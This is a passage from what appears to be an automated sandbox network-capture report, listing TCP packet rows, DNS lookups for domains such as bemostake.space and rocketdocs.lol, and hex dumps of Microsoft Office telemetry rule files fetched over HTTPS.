Oct 8, 2024 20:52:28.520488977 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520502090 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520515919 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520529985 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520543098 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520622015 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520633936 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520647049 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520658970 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520673037 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520685911 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520699024 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520710945 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520724058 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520735025 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520756006 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520770073 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520782948 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520796061 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520807981 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520819902 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520833969 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520848036 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520860910 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520879030 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520889044 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520900965 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520912886 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520925045 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520937920 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.520951986 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521254063 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521269083 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521280050 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521292925 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521315098 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521327972 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521333933 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521339893 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521346092 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521352053 CEST	3752	49855	147.45.126.71	192.168.2.9
Oct 8, 2024 20:52:28.521358013 CEST	3752	49855	147.45.126.71	192.168.2.9

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 8, 2024 20:52:07.913831949 CEST	192.168.2.9	1.1.1.1	0xc128	Standard query (0)	1h982d.bemostake.space	A (IP address)	IN (0x0001)	false
Oct 8, 2024 20:52:09.074079037 CEST	192.168.2.9	1.1.1.1	0x631c	Standard query (0)	bemostake.space	A (IP address)	IN (0x0001)	false
Oct 8, 2024 20:52:11.928122044 CEST	192.168.2.9	1.1.1.1	0x63fb	Standard query (0)	rocketdocs.lol	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 8, 2024 20:51:59.965217113 CEST	1.1.1.1	192.168.2.9	0x5645	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 8, 2024 20:51:59.965217113 CEST	1.1.1.1	192.168.2.9	0x5645	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Oct 8, 2024 20:52:07.932534933 CEST	1.1.1.1	192.168.2.9	0xc128	No error (0)	1h982d.bemostake.space		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 8, 2024 20:52:07.932534933 CEST	1.1.1.1	192.168.2.9	0xc128	No error (0)	1h982d.bemostake.space		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 8, 2024 20:52:09.099981070 CEST	1.1.1.1	192.168.2.9	0x631c	No error (0)	bemostake.space		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 8, 2024 20:52:09.099981070 CEST	1.1.1.1	192.168.2.9	0x631c	No error (0)	bemostake.space		188.114.97.3	A (IP address)	IN (0x0001)	false
Oct 8, 2024 20:52:12.120834112 CEST	1.1.1.1	192.168.2.9	0x63fb	No error (0)	rocketdocs.lol		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 8, 2024 20:52:12.120834112 CEST	1.1.1.1	192.168.2.9	0x63fb	No error (0)	rocketdocs.lol		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.9	49707	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:00 UTC	195	OUT	GET /rules/other-Win32-v19.bundle HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:00 UTC	540	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:00 GMT Content-Type: text/plain Content-Length: 218853 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public Last-Modified: Sun, 06 Oct 2024 16:59:23 GMT ETag: "0x8DCE6283A3FA58B" x-ms-request-id: 86eceaf5-401e-00a3-6fa2-188b09000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185200Z-1657d5bbd48wd55zet5pcra0cg00000005bg00000000epyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:00 UTC	15844	IN	Data Raw: 31 30 30 30 76 35 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 30 30 22 20 56 3d 22 35 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 52 75 6c 65 45 72 72 6f 72 73 41 67 67 72 65 67 61 74 65 64 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 53 3d 22 37 30 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 Data Ascii: 1000v5+<?xml version="1.0" encoding="utf-8"?><R Id="1000" V="5" DC="ESM" EN="Office.Telemetry.RuleErrorsAggregated" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" SP="CriticalBusinessImpact" S="70" DL="A" DCa="PSP PSU"
2024-10-08 18:52:00 UTC	16384	IN	Data Raw: 22 30 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 42 22 20 49 3d 22 35 22 20 4f 3d 22 66 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 2f 3e Data Ascii: "0" /> </L> <R> <V V="400" T="I32" /> </R> </O> </R> </O> </C> <C T="B" I="5" O="false"> <O T="AND"> <L> <O T="GE"> <L> <S T="1" F="0" />
2024-10-08 18:52:00 UTC	16384	IN	Data Raw: 20 20 3c 53 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 53 54 3e 0d 0a 3c 2f 52 3e 0d 0a 3c 24 21 23 3e 31 30 38 32 30 76 33 2b 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 30 38 32 30 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4f 75 74 6c 6f 6f 6b 2e 44 65 73 6b 74 6f 70 2e 43 6f 6e 74 61 63 74 43 61 72 64 50 72 6f 70 65 72 74 69 65 73 43 6f 75 6e 74 73 22 20 41 54 54 3d 22 64 38 30 37 36 30 39 32 37 36 37 34 34 32 34 35 62 61 66 38 31 62 66 37 62 63 38 30 33 33 66 36 2d 32 32 36 38 65 33 37 34 2d 37 37 36 36 2d 34 39 37 36 2d 62 65 34 34 2d 62 36 61 64 35 62 64 64 63 35 62 36 2d 37 38 31 Data Ascii: <ST> <S T="1" /> </ST></R><$!#>10820v3+<?xml version="1.0" encoding="utf-8"?><R Id="10820" V="3" DC="SM" EN="Office.Outlook.Desktop.ContactCardPropertiesCounts" ATT="d807609276744245baf81bf7bc8033f6-2268e374-7766-4976-be44-b6ad5bddc5b6-781
2024-10-08 18:52:00 UTC	16384	IN	Data Raw: 20 54 3d 22 55 36 34 22 20 49 3d 22 38 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 45 76 65 6e 74 73 5f 41 76 67 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 41 76 65 72 61 67 65 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 39 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 41 67 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 34 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 30 22 20 4f 3d 22 74 72 75 65 22 20 4e 3d 22 50 75 72 67 65 64 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 35 22 20 46 3d 22 43 6f 75 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 Data Ascii: T="U64" I="8" O="false" N="Events_Avg"> <S T="2" F="Average" /> </C> <C T="U32" I="9" O="true" N="Purged_Age"> <S T="4" F="Count" /> </C> <C T="U32" I="10" O="true" N="Purged_Count"> <S T="5" F="Count" /> </C> <C T="U32"
2024-10-08 18:52:00 UTC	16384	IN	Data Raw: 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 50 65 72 73 6f 6e 61 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f 75 6e 74 5f 43 72 65 61 74 65 43 61 72 64 5f 56 61 6c 69 64 4d 61 6e 61 67 65 72 5f 46 61 6c 73 65 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 43 6f Data Ascii: "0" O="false" N="Count_CreateCard_ValidPersona_False"> <C> <S T="10" /> </C> </C> <C T="U32" I="1" O="false" N="Count_CreateCard_ValidManager_False"> <C> <S T="11" /> </C> </C> <C T="U32" I="2" O="false" N="Co
2024-10-08 18:52:00 UTC	16384	IN	Data Raw: 20 20 20 20 3c 53 20 54 3d 22 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 39 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 57 61 73 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 32 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 50 61 69 6e 74 5f 49 4d 73 6f 50 65 72 73 6f 6e 61 5f 4e 75 6c 6c 5f 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a Data Ascii: <S T="31" /> </C> </C> <C T="U32" I="19" O="false" N="Paint_IMsoPersona_WasNull_Count"> <C> <S T="32" /> </C> </C> <C T="U32" I="20" O="false" N="Paint_IMsoPersona_Null_Count"> <C> <S T="33" /> </C>
2024-10-08 18:52:00 UTC	16384	IN	Data Raw: 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 6f 6e 64 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 32 30 30 22 20 54 3d 22 49 36 34 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 52 65 74 72 69 65 76 61 6c 4d 69 6c 6c 69 73 65 63 Data Ascii: <S T="3" F="RetrievalMilliseconds" /> </L> <R> <V V="200" T="I64" /> </R> </O> </L> <R> <O T="LT"> <L> <S T="3" F="RetrievalMillisec
2024-10-08 18:52:01 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 30 22 20 54 3d 22 49 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e 74 65 67 72 61 74 69 6f 6e 46 69 72 73 74 43 61 6c 6c 53 75 63 63 65 73 73 43 6f 75 6e 74 22 3e 0d 0a 20 20 20 20 3c 43 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 43 3e 0d 0a 20 20 3c 2f 43 3e 0d 0a 20 20 3c 43 20 54 3d 22 55 33 32 22 20 49 3d 22 31 22 20 4f 3d 22 66 61 6c 73 65 22 20 4e 3d 22 4f 63 6f 6d 32 49 55 43 4f 66 66 69 63 65 49 6e Data Ascii: R> <V V="0" T="I32" /> </R> </O> </F> </S> <C T="U32" I="0" O="false" N="Ocom2IUCOfficeIntegrationFirstCallSuccessCount"> <C> <S T="9" /> </C> </C> <C T="U32" I="1" O="false" N="Ocom2IUCOfficeIn
2024-10-08 18:52:01 UTC	16384	IN	Data Raw: 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: R> </O> </F> <F T="6"> <O T="AND"> <L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L>
2024-10-08 18:52:01 UTC	16384	IN	Data Raw: 54 3d 22 36 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c Data Ascii: T="6"> <O T="EQ"> <L> <S T="2" F="HttpStatus" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.9	49710	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:01 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:01 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:01 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 4545068c-701e-0050-0e05-176767000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185201Z-1657d5bbd48tnj6wmberkg2xy800000005f000000000f90c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:01 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.9	49712	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:01 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:01 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:01 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b27588a3-a01e-003d-6001-1798d7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185201Z-1657d5bbd48vhs7r2p1ky7cs5w00000005rg000000009gp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:01 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.9	49711	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-08 18:52:01 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-08 18:52:01 UTC	563	IN	HTTP/1.1 200 OK Date: Tue, 08 Oct 2024 18:52:01 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: c62b5fc1-401e-0067-3a60-1709c2000000 x-ms-version: 2018-03-28 x-azure-ref: 20241008T185201Z-1657d5bbd487nf59mzf5b3gk8n00000004zg00000000m31n x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-08 18:52:01 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.9	49708	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
